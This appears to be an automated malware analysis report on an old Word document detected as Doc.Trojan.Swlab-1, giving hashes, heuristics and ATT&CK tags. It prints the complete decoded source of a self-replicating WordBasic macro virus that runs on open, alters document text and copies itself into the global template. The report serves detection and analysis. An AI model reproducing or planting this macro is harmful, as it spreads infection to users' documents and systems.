Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 80be985d82ad05d3…

MALICIOUS

Office (OLE)

36.5 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 073c462632c50cd22ae9c060d5955c67 SHA-1: 8f1ec5a9a114adf16c36f8660a9a1d45a553f5cc SHA-256: 80be985d82ad05d392a66a2f6cbb1192533070314d4eeaea6dcaea39b11c1913
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a VBA macro with an AutoOpen subroutine, a common technique for executing malicious code upon opening. The macro attempts to copy itself and another macro ('DISASTER') to the global template, indicating a potential persistence or spreading mechanism. The ClamAV detection 'Doc.Trojan.Swlab-1' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Swlab-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Swlab-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3570 bytes
SHA-256: e7aa23d652be9d228c926ad6cde5d438eab0194836babe100d92b310f103a832
Detection
ClamAV: Doc.Trojan.Swlab-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "DISASTER"

Public Sub MAIN()
Attribute MAIN.VB_Description = "ScanProt macro to install protection macros, disinfect your Normal (Global) template and run the CleanAll macro."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.DISASTER.MAIN"
Dim FName$
Dim MacName$
Rem SkamWerks Labs Presents the DiGiTaL DiSaStEr Created by CyBer KiLlEr

Rem Run Payload, Copy Macros to Template.
On Error GoTo -1: On Error GoTo ErrorHandler

Rem Virus Payload Area.

     WordBasic.FileSummaryInfo Subject:="Digital Disaster is Everywhere"
     WordBasic.EditReplace Find:="resume", Replace:="DIGITAL DISASTER", Wrap:=1
     FName$ = WordBasic.[FileName$]()
     MacName$ = FName$ + ":AutoOpen"

     If WordBasic.[MacroFileName$]("AutoOpen") = "" Then GoTo EndCode
     WordBasic.MacroCopy MacName$, "Global:AutoOpen", 1
     WordBasic.MacroCopy MacName$, "Global:DISASTER", 1

ErrorHandler:

Rem Copy Macro(s) from Template to the Document

On Error GoTo -1: On Error GoTo AutoOpenHandler
     MacName$ = FName$ + ":AutoOpen"
     WordBasic.MacroCopy "Global:AutoOpen", MacName$, 1
AutoOpenHandler:

On Error GoTo -1: On Error GoTo OtherNameHandler
     MacName$ = FName$ + ":DISASTER"
     WordBasic.MacroCopy "Global:DISASTER", MacName$, 1
OtherNameHandler:

Rem Save Document as Template
If WordBasic.[FileName$]() <> "" Then
     WordBasic.FileSaveAs Format:=1
End If

Rem The Legion of Doom had struckwith another Digital Disaster !!!!!!   DIE SUCKER !!!!!5_

On Error GoTo -1: On Error GoTo 0:
On Error GoTo -1: On Error GoTo EndCode:



EndCode:

End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "ScanProt macro to install protection macros, disinfect your Normal (Global) template and run the CleanAll macro."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim FName$
Dim MacName$
Rem SkamWerks Labs Presents the DiGiTaL DiSaStEr Created by CyBer KiLlEr

Rem Run Payload, Copy Macros to Template.
On Error GoTo -1: On Error GoTo ErrorHandler

Rem Virus Payload Area.

     WordBasic.FileSummaryInfo Subject:="Digital Disaster is Everywhere"
     WordBasic.EditReplace Find:="resume", Replace:="DIGITAL DISASTER", Wrap:=1
     FName$ = WordBasic.[FileName$]()
     MacName$ = FName$ + ":AutoOpen"

     If WordBasic.[MacroFileName$]("AutoOpen") = "" Then GoTo EndCode
     WordBasic.MacroCopy MacName$, "Global:AutoOpen", 1
     WordBasic.MacroCopy MacName$, "Global:DISASTER", 1

ErrorHandler:

Rem Copy Macro(s) from Template to the Document

On Error GoTo -1: On Error GoTo AutoOpenHandler
     MacName$ = FName$ + ":AutoOpen"
     WordBasic.MacroCopy "Global:AutoOpen", MacName$, 1
AutoOpenHandler:

On Error GoTo -1: On Error GoTo OtherNameHandler
     MacName$ = FName$ + ":DISASTER"
     WordBasic.MacroCopy "Global:DISASTER", MacName$, 1
OtherNameHandler:

Rem Save Document as Template
If WordBasic.[FileName$]() <> "" Then
     WordBasic.FileSaveAs Format:=1
End If

Rem The Legion of Doom had struckwith another Digital Disaster !!!!!!   DIE SUCKER !!!!!5_

On Error GoTo -1: On Error GoTo 0:
On Error GoTo -1: On Error GoTo EndCode:



EndCode:

End Sub

Attribute VB_Name = "NewMacros"

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